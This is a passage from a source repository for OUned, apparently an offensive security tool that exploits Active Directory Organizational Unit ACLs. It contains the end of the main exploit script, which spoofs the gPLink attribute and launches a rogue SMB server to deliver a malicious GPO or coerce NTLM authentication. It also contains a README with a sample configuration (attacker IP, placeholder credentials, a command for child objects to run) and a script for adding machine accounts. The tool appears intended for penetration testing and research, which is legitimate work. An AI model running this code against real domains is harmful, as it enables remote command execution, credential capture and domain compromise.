"gPLink") 481 | logger.warning(f"[*] Initial gPLink is {initial_gPLink}.") 482 | if str(initial_gPLink) != '[]': 483 | spoofed_gPLink = str(initial_gPLink) + spoofed_gPLink 484 | logger.warning(f"[*] Spoofing gPLink to {spoofed_gPLink}") 485 | result = modify_attribute(ldap_session, ou_dn, 'gPLink', spoofed_gPLink) 486 | if result is not True: raise Exception 487 | except: 488 | print(traceback.print_exc()) 489 | logger.critical(f"{bcolors.FAIL}[!] Failed to modify the gPLink attribute of the target OU with provided user.{bcolors.ENDC}") 490 | clean(ldap_session, ldap_server_session, save_file_name) 491 | sys.exit(1) 492 | save_attribute_value("gPLink", initial_gPLink, save_file_name, "domain", ou_dn) 493 | logger.warning(f"{bcolors.OKGREEN}[+] Successfully spoofed gPLink for OU {ou_dn}{bcolors.ENDC}") 494 | 495 | 496 | 497 | 498 | ### ======================== ### 499 | ### Launching GPT SMB server ### 500 | ### ======================== ### 501 | try: 502 | if just_coerce is True and coerce_to is not None: 503 | logger.warning(f"\n{bcolors.BOLD}=== WAITING (SMB NTLM AUTHENTICATION COERCED TO {smb_path}) ==={bcolors.ENDC}") 504 | while True: 505 | sleep(30) 506 | 507 | elif smb_mode == "embedded" or just_coerce is True: 508 | logger.warning(f"\n{bcolors.BOLD}=== LAUNCHING SMB SERVER AND WAITING FOR GPT REQUESTS ==={bcolors.ENDC}") 509 | logger.warning(f"\n{bcolors.BOLD}If the attack is successful, you will see authentication logs of machines retrieving and executing the malicious GPO{bcolors.ENDC}") 510 | logger.warning(f"{bcolors.BOLD}Type CTRL+C when you're done. This will trigger cleaning actions{bcolors.ENDC}\n") 511 | 512 | lmhash = compute_lmhash(ldap_machine_password) 513 | nthash = compute_nthash(ldap_machine_password) 514 | 515 | server = SimpleSMBServer(listenAddress=attacker_ip, 516 | listenPort=445, 517 | domainName=domain, 518 | machineName=ldap_machine_name, 519 | netlogon=False if just_coerce is True else True) 520 | server.addShare(smb_share_name.upper(), OUTPUT_DIR, '') 521 | server.setSMB2Support(True) 522 | server.addCredential(ldap_machine_name, 0, lmhash, nthash) 523 | server.setSMBChallenge('') 524 | server.setLogFile('') 525 | server.start() 526 | 527 | else: 528 | logger.warning(f"\n{bcolors.BOLD}=== WAITING (GPT REQUESTS WILL BE FORWARDED TO SMB SERVER) ==={bcolors.ENDC}") 529 | while True: 530 | sleep(30) 531 | 532 | except KeyboardInterrupt: 533 | logger.warning(f"\n\n{bcolors.BOLD}=== Cleaning and restoring previous GPC attribute values ==={bcolors.ENDC}\n") 534 | # Reinitialize ldap connections, since cleaning can happen long after exploit launch 535 | server = Server(f'ldaps://{domain}:636', port = 636, use_ssl = True) if ldaps is True else Server(f'ldap://{domain}:389', port = 389, use_ssl = False) 536 | if hash is not None: 537 | ldap_session = Connection(server, user=f"{domain}\\{username}", password=hash, authentication=NTLM, auto_bind=True) 538 | else: 539 | ldap_session = Connection(server, user=f"{domain}\\{username}", password=password, authentication=NTLM, auto_bind=True) 540 | ldap_server = Server(f'ldap://{ldap_ip}:389', port = 389, use_ssl = False) 541 | ldap_server_session = Connection(ldap_server, user=f"{ldap_domain}\\{ldap_username}", password=ldap_password, authentication=NTLM, auto_bind=True) 542 | clean(ldap_session, ldap_server_session, save_file_name) 543 | 544 | 545 | def entrypoint(): 546 | typer.run(main) 547 | 548 | 549 | if __name__ == "__main__": 550 | typer.run(main) 551 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # OUned 2 | 3 | The OUned project, an exploitation tool automating Organizational Units ACLs abuse through gPLink manipulation. 4 | 5 | For a detailed explanation regarding the principle behind the attack, the necessary setup as well as how to use the tool, you may refer to the 6 | associated article: 7 | https://www.synacktiv.com/publications/ounedpy-exploiting-hidden-organizational-units-acl-attack-vectors-in-active-directory 8 | 9 | # Installation 10 | 11 | Installation can be performed by cloning the repository and installing the dependencies: 12 | 13 | ```bash 14 | $ git clone https://github.com/synacktiv/OUned 15 | $ python3 -m pip install -r requirements.txt 16 | ``` 17 | 18 | # Configuration file 19 | 20 | OUned arguments are provided through a configuration file - an example file is provided in the repository, `config.example.ini`. 21 | 22 | Each entry is described by a comment, but for detailed configuration instruction, please refer to the article mentioned in the introduction above. 23 | ```ini 24 | [GENERAL] 25 | # The target domain name 26 | domain=corp.com 27 | 28 | # The target Organizational Unit name 29 | ou=ACCOUNTING 30 | 31 | # The username and password of the user having write permissions on the gPLink attribute of the target OU 32 | username=naugustine 33 | password=Password1 34 | 35 | # The IP address of the attacker machine on the internal network 36 | attacker_ip=192.168.123.16 37 | 38 | # The command that should be executed by child objects 39 | command=whoami > C:\Temp\accounting.txt 40 | 41 | # The kind of objects targeted ("computer" or "user") 42 | target_type=user 43 | 44 | 45 | [LDAP] 46 | # The IP address of the dummy domain controller that will act as an LDAP server 47 | ldap_ip=192.168.125.245 48 | 49 | # Optional (used for sanity checks) - the hostname of the dummy domain controller 50 | ldap_hostname=WIN-TTEBC5VH747 51 | 52 | # The username and password of a domain administrator on the dummy domain controller 53 | ldap_username=ldapadm 54 | ldap_password=Password1! 55 | 56 | # The ID of the GPO (can be empty, only needs to exist) on the dummy domain controller 57 | gpo_id=7B7D6B23-26F8-4E4B-AF23-F9B9005167F6 58 | 59 | # The machine account name and password on the target domain that will be used to fake the LDAP server delivering the GPC 60 | # Do not forget to escape '%' signs by doubling them ! (e.g. '%%') 61 | ldap_machine_name=OUNED$ 62 | ldap_machine_password=some_very_long_random_password_with_percent_signs_escaped 63 | 64 | [SMB] 65 | # The SMB mode can be embedded or forwarded depending on the kind of object targeted 66 | smb_mode=forwarded 67 | 68 | # The name of the SMB share. Can be anything for embedded mode, should match an existing share on SMB dummy domain controller for forwarded mode 69 | share_name=synacktiv 70 | 71 | # The IP address of the dummy domain controller that will act as an SMB server 72 | smb_ip=192.168.126.206 73 | 74 | # The username and password of a user having write access to the share on the SMB dummy domain controller 75 | smb_username=smbadm 76 | smb_password=Password1! 77 | 78 | # The machine account name and password on the target domain that will be used to fake the SMB server delivering the GPT 79 | # Do not forget to escape '%' signs by doubling them ! (e.g. '%%') 80 | smb_machine_name=OUNED2$ 81 | smb_machine_password=some_very_long_random_password_with_percent_signs_escaped 82 | ``` 83 | 84 | # OUned usage 85 | 86 | The only mandatory argument when running OUned is the `--config` flag indicating the path to the configuration file. 87 | 88 | The `--just-coerce` and `coerce-to` flags are used for SMB authentication coercion mode, in which OUned will force SMB authentication from 89 | OU child objects to the specified destination - for more details, see the article linked in the introduction. 90 | 91 | Regarding the `--just-clean` flag, see the next section. 92 | 93 | ``` 94 | python3 OUned.py --help 95 | 96 | Usage: OUned.py [OPTIONS] 97 | 98 | ╭─ Options ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮ 99 | │ * --config TEXT The configuration file for OUned [default: None] [required] │ 100 | │ --skip-checks Do not perform the various checks related to the exploitation setup │ 101 | │ --just-coerce Only coerce SMB NTLM authentication of OU child objects to the destination specified in the --coerce-to flag, or, if no destination is │ 102 | │ specified, to a local SMB server that will print their NetNTLMv2 hashes │ 103 | │ --coerce-to TEXT Coerce child objects SMB NTLM authentication to a specific destination - this argument should be an IP address [default: None] │ 104 | │ --just-clean This flag indicates that OUned should only perform cleaning actions from specified cleaning-file │ 105 | │ --cleaning-file TEXT The path to the cleaning file in case the --just-clean flag is used [default: None] │ 106 | │ --verbose Enable verbose output │ 107 | │ --help Show this message and exit. │ 108 | ╰──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯ 109 | ``` 110 | 111 | # About cleaning 112 | 113 | By default and as explained in the article, OUned will perform cleaning actions and among others restore the original gPLink value in the target domain. In case the exploit could not exit properly, OUned creates a cleaning file each time the exploit is executed, that can be used later on to restore legitimate values by using the `--just-clean` flag; for instance: 114 | 115 | ```bash 116 | $ python3 OUned.py --config config.example.ini --just-clean --cleaning-file cleaning/FINANCE/2024_04_14-05_02_46.txt 117 | ``` 118 | -------------------------------------------------------------------------------- /addcomputer_LDAP_spn.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | # Impacket - Collection of Python classes for working with network protocols. 3 | # 4 | # Copyright (C) 2022 Fortra. All rights reserved. 5 | # 6 | # This software is provided under a slightly modified version 7 | # of the Apache Software License. See the accompanying LICENSE file 8 | # for more information. 9 | # 10 | # Description: 11 | # This script will add a computer account to the domain and set its password. 12 | # Allows to use SAMR over SMB (this way is used by modern Windows computer when 13 | # adding machines through the GUI) and LDAPS. 14 | # Plain LDAP is not supported, as it doesn't allow setting the password. 15 | # 16 | # Author: 17 | # JaGoTu (@jagotu) 18 | # 19 | # Reference for: 20 | # SMB, SAMR, LDAP 21 | # 22 | # ToDo: 23 | # [ ]: Complete the process of joining a client computer to a domain via the SAMR protocol 24 | # 25 | 26 | from __future__ import division 27 | from __future__ import print_function 28 | from __future__ import unicode_literals 29 | 30 | from impacket import version 31 | from impacket.examples import logger 32 | from impacket.examples.utils import parse_credentials 33 | from impacket.dcerpc.v5 import samr, epm, transport 34 | from impacket.spnego import SPNEGO_NegTokenInit, TypesMech 35 | 36 | import ldap3 37 | import argparse 38 | import logging 39 | import sys 40 | import string 41 | import random 42 | import ssl 43 | from binascii import unhexlify 44 | 45 | 46 | class ADDCOMPUTER: 47 | def __init__(self, username, password, domain, cmdLineOptions): 48 | self.options = cmdLineOptions 49 | self.__username = username 50 | self.__password = password 51 | self.__domain = domain 52 | self.__lmhash = '' 53 | self.__nthash = '' 54 | self.__hashes = cmdLineOptions.hashes 55 | self.__aesKey = cmdLineOptions.aesKey 56 | self.__doKerberos = cmdLineOptions.k 57 | self.__target = cmdLineOptions.dc_host 58 | self.__kdcHost = cmdLineOptions.dc_host 59 | self.__computerName = cmdLineOptions.computer_name 60 | self.__computerPassword = cmdLineOptions.computer_pass 61 | self.__method = cmdLineOptions.method 62 | self.__port = cmdLineOptions.port 63 | self.__domainNetbios = cmdLineOptions.domain_netbios 64 | self.__noAdd = cmdLineOptions.no_add 65 | self.__delete = cmdLineOptions.delete 66 | self.__targetIp = cmdLineOptions.dc_ip 67 | self.__baseDN = cmdLineOptions.baseDN 68 | self.__computerGroup = cmdLineOptions.computer_group 69 | 70 | if self.__targetIp is not None: 71 | self.__kdcHost = self.__targetIp 72 | 73 | if self.__method not in ['SAMR', 'LDAPS']: 74 | raise ValueError("Unsupported method %s" % self.__method) 75 | 76 | if self.__doKerberos and cmdLineOptions.dc_host is None: 77 | raise ValueError("Kerberos auth requires DNS name of the target DC. Use -dc-host.") 78 | 79 | if self.__method == 'LDAPS' and not '.' in self.__domain: 80 | logging.warning('\'%s\' doesn\'t look like a FQDN. Generating baseDN will probably fail.' % self.__domain) 81 | 82 | if cmdLineOptions.hashes is not None: 83 | self.__lmhash, self.__nthash = cmdLineOptions.hashes.split(':') 84 | 85 | if self.__computerName is None: 86 | if self.__noAdd: 87 | raise ValueError("You have to provide a computer name when using -no-add.") 88 | elif self.__delete: 89 | raise ValueError("You have to provide a computer name when using -delete.") 90 | else: 91 | if self.__computerName[-1] != '$': 92 | self.__computerName += '$' 93 | 94 | if self.__computerPassword is None: 95 | self.__computerPassword = ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(32)) 96 | 97 | if self.__target is None: 98 | if not '.' in self.__domain: 99 | logging.warning('No DC host set and \'%s\' doesn\'t look like a FQDN. DNS resolution of short names will probably fail.' % self.__domain) 100 | self.__target = self.__domain 101 | 102 | if self.__port is None: 103 | if self.__method == 'SAMR': 104 | self.__port = 445 105 | elif self.__method == 'LDAPS': 106 | self.__port = 636 107 | 108 | if self.__domainNetbios is None: 109 | self.__domainNetbios = self.__domain 110 | 111 | if self.__method == 'LDAPS' and self.__baseDN is None: 112 | # Create the baseDN 113 | domainParts = self.__domain.split('.') 114 | self.__baseDN = '' 115 | for i in domainParts: 116 | self.__baseDN += 'dc=%s,' % i 117 | # Remove last ',' 118 | self.__baseDN = self.__baseDN[:-1] 119 | 120 | if self.__method == 'LDAPS' and self.__computerGroup is None: 121 | self.__computerGroup = 'CN=Computers,' + self.__baseDN 122 | 123 | 124 | 125 | def run_samr(self): 126 | if self.__targetIp is not None: 127 | stringBinding = epm.hept_map(self.__targetIp, samr.MSRPC_UUID_SAMR, protocol = 'ncacn_np') 128 | else: 129 | stringBinding = epm.hept_map(self.__target, samr.MSRPC_UUID_SAMR, protocol = 'ncacn_np') 130 | rpctransport = transport.DCERPCTransportFactory(stringBinding) 131 | rpctransport.set_dport(self.__port) 132 | 133 | if self.__targetIp is not None: 134 | rpctransport.setRemoteHost(self.__targetIp) 135 | rpctransport.setRemoteName(self.__target) 136 | 137 | if hasattr(rpctransport, 'set_credentials'): 138 | # This method exists only for selected protocol sequences. 139 | rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, 140 | self.__nthash, self.__aesKey) 141 | 142 | rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost) 143 | self.doSAMRAdd(rpctransport) 144 | 145 | def run_ldaps(self): 146 | connectTo = self.__target 147 | if self.__targetIp is not None: 148 | connectTo = self.__targetIp 149 | try: 150 | user = '%s\\%s' % (self.__domain, self.__username) 151 | tls = ldap3.Tls(validate=ssl.CERT_NONE, version=ssl.PROTOCOL_TLSv1_2, ciphers='ALL:@SECLEVEL=0') 152 | try: 153 | ldapServer = ldap3.Server(connectTo, use_ssl=True, port=self.__port, get_info=ldap3.ALL, tls=tls) 154 | if self.__doKerberos: 155 | ldapConn = ldap3.Connection(ldapServer) 156 | self.LDAP3KerberosLogin(ldapConn, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, 157 | self.__aesKey, kdcHost=self.__kdcHost) 158 | elif self.__hashes is not None: 159 | ldapConn = ldap3.Connection(ldapServer, user=user, password=self.__hashes, authentication=ldap3.NTLM) 160 | ldapConn.bind() 161 | else: 162 | ldapConn = ldap3.Connection(ldapServer, user=user, password=self.__password, authentication=ldap3.NTLM) 163 | ldapConn.bind() 164 | 165 | except ldap3.core.exceptions.LDAPSocketOpenError: 166 | #try tlsv1 167 | tls = ldap3.Tls(validate=ssl.CERT_NONE, version=ssl.PROTOCOL_TLSv1, ciphers='ALL:@SECLEVEL=0') 168 | ldapServer = ldap3.Server(connectTo, use_ssl=True, port=self.__port, get_info=ldap3.ALL, tls=tls) 169 | if self.__doKerberos: 170 | ldapConn = ldap3.Connection(ldapServer) 171 | self.LDAP3KerberosLogin(ldapConn, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, 172 | self.__aesKey, kdcHost=self.__kdcHost) 173 | elif self.__hashes is not None: 174 | ldapConn = ldap3.Connection(ldapServer, user=user, password=self.__hashes, authentication=ldap3.NTLM) 175 | ldapConn.bind() 176 | else: 177 | ldapConn = ldap3.Connection(ldapServer, user=user, password=self.__password, authentication=ldap3.NTLM) 178 | ldapConn.bind() 179 | 180 | 181 | 182 | if self.__noAdd or self.__delete: 183 | if not self.LDAPComputerExists(ldapConn, self.__computerName): 184 | raise Exception("Account %s not found in %s!" % (self.__computerName, self.__baseDN)) 185 | 186 | computer = self.LDAPGetComputer(ldapConn, self.__computerName) 187 | 188 | if self.__delete: 189 | res = ldapConn.delete(computer.entry_dn) 190 | message = "delete" 191 | else: 192 | res = ldapConn.modify(computer.entry_dn, {'unicodePwd': [(ldap3.MODIFY_REPLACE, ['"{}"'.format(self.__computerPassword).encode('utf-16-le')])]}) 193 | message = "set password for" 194 | 195 | 196 | if not res: 197 | if ldapConn.result['result'] == ldap3.core.results.RESULT_INSUFFICIENT_ACCESS_RIGHTS: 198 | raise Exception("User %s doesn't have right to %s %s!" % (self.__username, message, self.__computerName)) 199 | else: 200 | raise Exception(str(ldapConn.result)) 201 | else: 202 | if self.__noAdd: 203 | logging.info("Succesfully set password of %s to %s." % (self.__computerName, self.__computerPassword)) 204 | else: 205 | logging.info("Succesfully deleted %s." % self.__computerName) 206 | 207 | else: 208 | if self.__computerName is not None: 209 | if self.LDAPComputerExists(ldapConn, self.__computerName): 210 | raise Exception("Account %s already exists! If you just want to set a password, use -no-add." % self.__computerName) 211 | else: 212 | while True: 213 | self.__computerName = self.generateComputerName() 214 | if not self.LDAPComputerExists(ldapConn, self.__computerName): 215 | break 216 | 217 | 218 | computerHostname = self.__computerName[:-1] 219 | computerDn = ('CN=%s,%s' % (computerHostname, self.__computerGroup)) 220 | 221 | # Default computer SPNs 222 | spns = [ 223 | 'HOST/%s' % computerHostname, 224 | 'HOST/%s.%s' % (computerHostname, self.__domain), 225 | 'LDAP/%s' % computerHostname, 226 | 'LDAP/%s.%s' % (computerHostname, self.__domain), 227 | 'RestrictedKrbHost/%s' % computerHostname, 228 | 'RestrictedKrbHost/%s.%s' % (computerHostname, self.__domain), 229 | ] 230 | ucd = { 231 | 'dnsHostName': '%s.%s' % (computerHostname, self.__domain), 232 | 'userAccountControl': 0x1000, 233 | 'servicePrincipalName': spns, 234 | 'sAMAccountName': self.__computerName, 235 | 'unicodePwd': ('"%s"' % self.__computerPassword).encode('utf-16-le') 236 | } 237 | 238 | res = ldapConn.add(computerDn, ['top','person','organizationalPerson','user','computer'], ucd) 239 | if not res: 240 | if ldapConn.result['result'] == ldap3.core.results.RESULT_UNWILLING_TO_PERFORM: 241 | error_code = int(ldapConn.result['message'].split(':')[0].strip(), 16) 242 | if error_code == 0x216D: 243 | raise Exception("User %s machine quota exceeded!" % self.__username) 244 | else: 245 | raise Exception(str(ldapConn.result)) 246 | elif ldapConn.result['result'] == ldap3.core.results.RESULT_INSUFFICIENT_ACCESS_RIGHTS: 247 | raise Exception("User %s doesn't have right to create a machine account!" % self.__username) 248 | else: 249 | raise Exception(str(ldapConn.result)) 250 | else: 251 | logging.info("Successfully added machine account %s with password %s." % (self.__computerName, self.__computerPassword)) 252 | except Exception as e: 253 | if logging.getLogger().level == logging.DEBUG: 254 | import traceback 255 | traceback.print_exc() 256 | 257 | logging.critical(str(e)) 258 | 259 | 260 | def LDAPComputerExists(self, connection, computerName): 261 | connection.search(self.__baseDN, '(sAMAccountName=%s)' % computerName) 262 | return len(connection.entries) ==1 263 | 264 | def LDAPGetComputer(self, connection, computerName): 265 | connection.search(self.__baseDN, '(sAMAccountName=%s)' % computerName) 266 | return connection.entries[0] 267 | 268 | def LDAP3KerberosLogin(self, connection, user, password, domain='', lmhash='', nthash='', aesKey='', kdcHost=None, TGT=None, 269 | TGS=None, useCache=True): 270 | from pyasn1.codec.ber import encoder, decoder 271 | from pyasn1.type.univ import noValue 272 | """ 273 | logins into the target system explicitly using Kerberos. Hashes are used if RC4_HMAC is supported. 274 | 275 | :param string user: username 276 | :param string password: password for the user 277 | :param string domain: domain where the account is valid for (required) 278 | :param string lmhash: LMHASH used to authenticate using hashes (password is not used) 279 | :param string nthash: NTHASH used to authenticate using hashes (password is not used) 280 | :param string aesKey: aes256-cts-hmac-sha1-96 or aes128-cts-hmac-sha1-96 used for Kerberos authentication 281 | :param string kdcHost: hostname or IP Address for the KDC. If None, the domain will be used (it needs to resolve tho) 282 | :param struct TGT: If there's a TGT available, send the structure here and it will be used 283 | :param struct TGS: same for TGS. See smb3.py for the format 284 | :param bool useCache: whether or not we should use the ccache for credentials lookup. If TGT or TGS are specified this is False 285 | 286 | :return: True, raises an Exception if error. 287 | """ 288 | 289 | if lmhash != '' or nthash != '': 290 | if len(lmhash) % 2: 291 | lmhash = '0' + lmhash 292 | if len(nthash) % 2: 293 | nthash = '0' + nthash 294 | try: # just in case they were converted already 295 | lmhash = unhexlify(lmhash) 296 | nthash = unhexlify(nthash) 297 | except TypeError: 298 | pass 299 | 300 | # Importing down here so pyasn1 is not required if kerberos is not used. 301 | from impacket.krb5.ccache import CCache 302 | from impacket.krb5.asn1 import AP_REQ, Authenticator, TGS_REP, seq_set 303 | from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS 304 | from impacket.krb5 import constants 305 | from impacket.krb5.types import Principal, KerberosTime, Ticket 306 | import datetime 307 | 308 | if TGT is not None or TGS is not None: 309 | useCache = False 310 | 311 | targetName = 'ldap/%s' % self.__target 312 | if useCache: 313 | domain, user, TGT, TGS = CCache.parseFile(domain, user, targetName) 314 | 315 | # First of all, we need to get a TGT for the user 316 | userName = Principal(user, type=constants.PrincipalNameType.NT_PRINCIPAL.value) 317 | if TGT is None: 318 | if TGS is None: 319 | tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, password, domain, lmhash, nthash, 320 | aesKey, kdcHost) 321 | else: 322 | tgt = TGT['KDC_REP'] 323 | cipher = TGT['cipher'] 324 | sessionKey = TGT['sessionKey'] 325 | 326 | if TGS is None: 327 | serverName = Principal(targetName, type=constants.PrincipalNameType.NT_SRV_INST.value) 328 | tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, domain, kdcHost, tgt, cipher, 329 | sessionKey) 330 | else: 331 | tgs = TGS['KDC_REP'] 332 | cipher = TGS['cipher'] 333 | sessionKey = TGS['sessionKey'] 334 | 335 | # Let's build a NegTokenInit with a Kerberos REQ_AP 336 | 337 | blob = SPNEGO_NegTokenInit() 338 | 339 | # Kerberos 340 | blob['MechTypes'] = [TypesMech['MS KRB5 - Microsoft Kerberos 5']] 341 | 342 | # Let's extract the ticket from the TGS 343 | tgs = decoder.decode(tgs, asn1Spec=TGS_REP())[0] 344 | ticket = Ticket() 345 | ticket.from_asn1(tgs['ticket']) 346 | 347 | # Now let's build the AP_REQ 348 | apReq = AP_REQ() 349 | apReq['pvno'] = 5 350 | apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) 351 | 352 | opts = [] 353 | apReq['ap-options'] = constants.encodeFlags(opts) 354 | seq_set(apReq, 'ticket', ticket.to_asn1) 355 | 356 | authenticator = Authenticator() 357 | authenticator['authenticator-vno'] = 5 358 | authenticator['crealm'] = domain 359 | seq_set(authenticator, 'cname', userName.components_to_asn1) 360 | now = datetime.datetime.utcnow() 361 | 362 | authenticator['cusec'] = now.microsecond 363 | authenticator['ctime'] = KerberosTime.to_asn1(now) 364 | 365 | encodedAuthenticator = encoder.encode(authenticator) 366 | 367 | # Key Usage 11 368 | # AP-REQ Authenticator (includes application authenticator 369 | # subkey), encrypted with the application session key 370 | # (Section 5.5.1) 371 | encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 11, encodedAuthenticator, None) 372 | 373 | apReq['authenticator'] = noValue 374 | apReq['authenticator']['etype'] = cipher.enctype 375 | apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator 376 | 377 | blob['MechToken'] = encoder.encode(apReq) 378 | 379 | 380 | request = ldap3.operation.bind.bind_operation(connection.version, ldap3.SASL, user, None, 'GSS-SPNEGO', blob.getData()) 381 | 382 | # Done with the Kerberos saga, now let's get into LDAP 383 | # try to open connection if closed 384 | if connection.closed: 385 | connection.open(read_server_info=False) 386 | 387 | connection.sasl_in_progress = True 388 | response = connection.post_send_single_response(connection.send('bindRequest', request, None)) 389 | connection.sasl_in_progress = False 390 | if response[0]['result'] != 0: 391 | raise Exception(response) 392 | 393 | connection.bound = True 394 | 395 | return True 396 | 397 | def generateComputerName(self): 398 | return 'DESKTOP-' + (''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8)) + '$') 399 | 400 | def doSAMRAdd(self, rpctransport): 401 | dce = rpctransport.get_dce_rpc() 402 | servHandle = None 403 | domainHandle = None 404 | userHandle = None 405 | try: 406 | dce.connect() 407 | dce.bind(samr.MSRPC_UUID_SAMR) 408 | 409 | samrConnectResponse = samr.hSamrConnect5(dce, '\\\\%s\x00' % self.__target, 410 | samr.SAM_SERVER_ENUMERATE_DOMAINS | samr.SAM_SERVER_LOOKUP_DOMAIN ) 411 | servHandle = samrConnectResponse['ServerHandle'] 412 | 413 | samrEnumResponse = samr.hSamrEnumerateDomainsInSamServer(dce, servHandle) 414 | domains = samrEnumResponse['Buffer']['Buffer'] 415 | domainsWithoutBuiltin = list(filter(lambda x : x['Name'].lower() != 'builtin', domains)) 416 | 417 | if len(domainsWithoutBuiltin) > 1: 418 | domain = list(filter(lambda x : x['Name'].lower() == self.__domainNetbios, domains)) 419 | if len(domain) != 1: 420 | logging.critical("This server provides multiple domains and '%s' isn't one of them.", self.__domainNetbios) 421 | logging.critical("Available domain(s):") 422 | for domain in domains: 423 | logging.error(" * %s" % domain['Name']) 424 | logging.critical("Consider using -domain-netbios argument to specify which one you meant.") 425 | raise Exception() 426 | else: 427 | selectedDomain = domain[0]['Name'] 428 | else: 429 | selectedDomain = domainsWithoutBuiltin[0]['Name'] 430 | 431 | samrLookupDomainResponse = samr.hSamrLookupDomainInSamServer(dce, servHandle, selectedDomain) 432 | domainSID = samrLookupDomainResponse['DomainId'] 433 | 434 | if logging.getLogger().level == logging.DEBUG: 435 | logging.info("Opening domain %s..." % selectedDomain) 436 | samrOpenDomainResponse = samr.hSamrOpenDomain(dce, servHandle, samr.DOMAIN_LOOKUP | samr.DOMAIN_CREATE_USER , domainSID) 437 | domainHandle = samrOpenDomainResponse['DomainHandle'] 438 | 439 | 440 | if self.__noAdd or self.__delete: 441 | try: 442 | checkForUser = samr.hSamrLookupNamesInDomain(dce, domainHandle, [self.__computerName]) 443 | except samr.DCERPCSessionError as e: 444 | if e.error_code == 0xc0000073: 445 | raise Exception("Account %s not found in domain %s!" % (self.__computerName, selectedDomain)) 446 | else: 447 | raise 448 | 449 | userRID = checkForUser['RelativeIds']['Element'][0] 450 | if self.__delete: 451 | access = samr.DELETE 452 | message = "delete" 453 | else: 454 | access = samr.USER_FORCE_PASSWORD_CHANGE 455 | message = "set password for" 456 | try: 457 | openUser = samr.hSamrOpenUser(dce, domainHandle, access, userRID) 458 | userHandle = openUser['UserHandle'] 459 | except samr.DCERPCSessionError as e: 460 | if e.error_code == 0xc0000022: 461 | raise Exception("User %s doesn't have right to %s %s!" % (self.__username, message, self.__computerName)) 462 | else: 463 | raise 464 | else: 465 | if self.__computerName is not None: 466 | try: 467 | checkForUser = samr.hSamrLookupNamesInDomain(dce, domainHandle, [self.__computerName]) 468 | raise Exception("Account %s already exists! If you just want to set a password, use -no-add." % self.__computerName) 469 | except samr.DCERPCSessionError as e: 470 | if e.error_code != 0xc0000073: 471 | raise 472 | else: 473 | foundUnused = False 474 | while not foundUnused: 475 | self.__computerName = self.generateComputerName() 476 | try: 477 | checkForUser = samr.hSamrLookupNamesInDomain(dce, domainHandle, [self.__computerName]) 478 | except samr.DCERPCSessionError as e: 479 | if e.error_code == 0xc0000073: 480 | foundUnused = True 481 | else: 482 | raise 483 | 484 | createUser = samr.hSamrCreateUser2InDomain(dce, domainHandle, self.__computerName, samr.USER_WORKSTATION_TRUST_ACCOUNT, samr.USER_FORCE_PASSWORD_CHANGE,) 485 | userHandle = createUser['UserHandle'] 486 | 487 | if self.__delete: 488 | samr.hSamrDeleteUser(dce, userHandle) 489 | logging.info("Successfully deleted %s." % self.__computerName) 490 | userHandle = None 491 | else: 492 | samr.hSamrSetPasswordInternal4New(dce, userHandle, self.__computerPassword) 493 | if self.__noAdd: 494 | logging.info("Successfully set password of %s to %s." % (self.__computerName, self.__computerPassword)) 495 | else: 496 | checkForUser = samr.hSamrLookupNamesInDomain(dce, domainHandle, [self.__computerName]) 497 | userRID = checkForUser['RelativeIds']['Element'][0] 498 | openUser = samr.hSamrOpenUser(dce, domainHandle, samr.MAXIMUM_ALLOWED, userRID) 499 | userHandle = openUser['UserHandle'] 500 | req = samr.SAMPR_USER_INFO_BUFFER() 501 | req['tag'] = samr.USER_INFORMATION_CLASS.UserControlInformation 502 | req['Control']['UserAccountControl'] = samr.USER_WORKSTATION_TRUST_ACCOUNT 503 | samr.hSamrSetInformationUser2(dce, userHandle, req) 504 | logging.info("Successfully added machine account %s with password %s." % (self.__computerName, self.__computerPassword)) 505 | 506 | except Exception as e: 507 | if logging.getLogger().level == logging.DEBUG: 508 | import traceback 509 | traceback.print_exc() 510 | 511 | logging.critical(str(e)) 512 | finally: 513 | if userHandle is not None: 514 | samr.hSamrCloseHandle(dce, userHandle) 515 | if domainHandle is not None: 516 | samr.hSamrCloseHandle(dce, domainHandle) 517 | if servHandle is not None: 518 | samr.hSamrCloseHandle(dce, servHandle) 519 | dce.disconnect() 520 | 521 | def run(self): 522 | if self.__method == 'SAMR': 523 | self.run_samr() 524 | elif self.__method == 'LDAPS': 525 | self.run_ldaps() 526 | 527 | # Process command-line arguments. 528 | if __name__ == '__main__': 529 | # Init the example's logger theme 530 | logger.init() 531 | print((version.BANNER)) 532 | 533 | parser = argparse.ArgumentParser(add_help = True, description = "Adds a computer account to domain") 534 | 535 | if sys.version_info.major == 2 and sys.version_info.minor == 7 and sys.version_info.micro < 16: #workaround for https://bugs.python.org/issue11874 536 | parser.add_argument('account', action='store', help='[domain/]username[:password] Account used to authenticate to DC.') 537 | else: 538 | parser.add_argument('account', action='store', metavar='[domain/]username[:password]', help='Account used to authenticate to DC.') 539 | parser.add_argument('-domain-netbios', action='store', metavar='NETBIOSNAME', help='Domain NetBIOS name. Required if the DC has multiple domains.') 540 | parser.add_argument('-computer-name', action='store', metavar='COMPUTER-NAME$', help='Name of computer to add.' 541 | 'If omitted, a random DESKTOP-[A-Z0-9]{8} will be used.') 542 | parser.add_argument('-computer-pass', action='store', metavar='password', help='Password to set to computer' 543 | 'If omitted, a random [A-Za-z0-9]{32} will be used.') 544 | parser.add_argument('-no-add', action='store_true', help='Don\'t add a computer, only set password on existing one.') 545 | parser.add_argument('-delete', action='store_true', help='Delete an existing computer.') 546 | parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') 547 | 548 | group = parser.add_argument_group('LDAP') 549 | group.add_argument('-baseDN', action='store', metavar='DC=test,DC=local', help='Set baseDN for LDAP.' 550 | 'If ommited, the domain part 